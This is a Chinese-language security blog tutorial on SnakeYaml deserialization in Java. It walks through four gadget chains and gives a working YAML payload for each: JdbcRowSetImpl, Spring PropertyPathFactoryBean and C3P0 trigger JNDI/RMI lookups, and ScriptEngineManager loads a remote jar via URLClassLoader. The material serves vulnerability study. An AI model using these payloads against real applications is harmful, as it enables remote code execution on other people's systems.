SnakeYaml反序列化

YAML是一种可读性高,用来表达数据序列化的格式。YAML是”YAML Ain’t a Markup Language”(YAML不是一种标记语言)的递归缩写。在开发的这种语言时,YAML的意思其实是:”Yet Another Markup Language”(仍是一种标记语言),但为了强调这种语言以数据为中心,而不是以标记语言为重点,而用反向缩略语重命名。

YAML基本格式要求:

  • YAML大小写敏感。
  • 使用缩进代表层级关系。
  • 缩进只能使用空格,不能使用TAB,不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)。

Java 常见用来处理 yaml 的库就是SnakeYaml,实现了对象与 yaml 格式的字符串之间的序列化和反序列化。SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。

依赖

jdk8u66

1
2
3
4
5
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>

yaml的基本用法

SnakeYaml提供了Yaml.dump()Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():将yaml转换成java对象
  • Yaml.dump():将一个对象转化为yaml

先写一个User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class User {
private int age;
private String name;

public User(){}

public User(String name, int age) {
this.name = name;
this.age = age;
}

public int getAge() {
System.out.println("执行了getAge方法");
return age;
}

public String getName() {
System.out.println("执行了getName方法");
return name;
}

public void setAge(int age) {
this.age = age;
System.out.println("执行了setAge方法");
}

public void setName(String name) {
this.name = name;
System.out.println("执行了setName方法");
}
}

然后测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.yaml.snakeyaml.Yaml;

public class Main {
public static void main(String[] args) {
User person = new User("Infernity",20);

Yaml yaml = new Yaml();
// 序列化
String dump = yaml.dump(person);
System.out.println(dump);

System.out.println("================================================================");

// 反序列化
Object load = yaml.load(dump);
System.out.println(load);
}
}

运行的结果:

test

说明在yaml序列化的时候,即调用yaml.dump方法的时候,会调用目标类的getter方法。

然后在yaml反序列化的时候,即调用yaml.load方法的时候,会调用目标类的setter方法。

序列化的结果前面的!!是用于强制类型转化,强制转换为!!后指定的类型,其实这个和Fastjson的@type有着异曲同工之妙,用于指定反序列化的全类名。

所以yaml利用链的点跟fastjson很像,都是会调用指定类setter方法导致安全隐患。

JdbcRowSetImpl利用链

这里和fastjson的触发一致,都是触发setAutoCommit方法,调用connect函数,然后触发InitialContext.lookup(dataSourceName),而dataSourceName可以通过setDataSourceName方法可控。

详细链子分析可以看我之前的fastjson反序列化的分析文章。

payload:

1
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: "rmi://127.0.0.1:1099/Exploit", autoCommit: true}

calc1

Spring PropertyPathFactoryBean利用链

这个链子需要springframework依赖

1
2
3
4
5
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.3.13.RELEASE</version>
</dependency>

注意setBeanFactory方法:

setBeanFactory

这里可以调用到任意类的getBean()方法,这里调用的是org.springframework.jndi.support.SimpleJndiBeanFactory#getBean()触发JNDI注入。

这里需要调用到getBean()方法,

1、要满足propertyPath属性不能为空,利用setPropertyPath方法设置一个就行。

2、要满足isSingleton(this.targetBeanName)返回值为true

isSingleton

只需要利用setShareableResources方法,把rmi://127.0.0.1:1099/Exploit作为数组传进去就行了。

最后利用setTargetBeanName方法来添加我们的目标类地址rmi://127.0.0.1:1099/Exploit

看看getBean方法:

getBean

再次调用了isSingleton方法这里会返回ture,进入if,调用doGetSingleton方法,这里进行了jndi查询。

doGetSingleton

payload:

1
!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: "rmi://127.0.0.1:1099/Exploit", propertyPath: "Infernity", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: ["rmi://127.0.0.1:1099/Exploit"]}}

calc2

C3P0利用链

跟利用fastjson一样,还是setloginTimeout->inner->dereference这条利用链,具体请看上一篇C3P0分析文章。

payload:

1
!!com.mchange.v2.c3p0.JndiRefForwardingDataSource  {jndiName: "rmi://127.0.0.1:1099/Exploit",  loginTimeout: "0"}

还有c3p0的hex链也是可以的。

ScriptEngineManager利用链

该漏洞基于SPI机制,关于SPI机制可以参考深入理解 Java 中 SPI 机制

SPI ,全称为 Service Provider Interface,是一种服务发现机制。JDK通过java.util.ServiceLoder动态装载实现模块,在META-INF/services目录下的配置文件寻找实现类的类名,通过Class.forName加载进来,newInstance()反射创建对象,并存到缓存和列表里面。也就是动态为某个接口寻找服务实现。

因此控制这个类的静态代码块就有机会执行任意代码了,这部分代码实现可以参考https://github.com/artsploit/yaml-payload/,

那么SPI和SnakeYaml如何联系起来呢,这里需要知道一个类javax.script.ScriptEngineManager,它的底层就利用了SPI机制https://www.runoob.com/manual/jdk11api/java.scripting/javax/script/ScriptEngineManager.html

ScriptEngineManager(ClassLoader loader) :此构造函数使用服务提供程序机制加载给定ClassLoader可见的ScriptEngineFactory的实现。 如果loader是null ,则加载与平台捆绑在一起的脚本引擎工厂

可以给定一个UrlClassLoader ,并使用SPI机制 (ServiceLoader 来提供) ,来加载远程的ScriptEngineFactory的实现类,那么就可以在远程服务器下,创建META-INF/services/javax.script.ScriptEngineFactory 文件,文件内容指定接口的实现类。

payload

1
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]]]]

这里yaml都是会自动调用这三个类的对应参数的构造方法。

calc3

参考文章:

https://cloud.tencent.com/developer/article/2328086


SnakeYaml反序列化
http://example.com/2025/03/19/SnakeYaml反序列化/
作者
Infernity
发布于
2025年3月19日
许可协议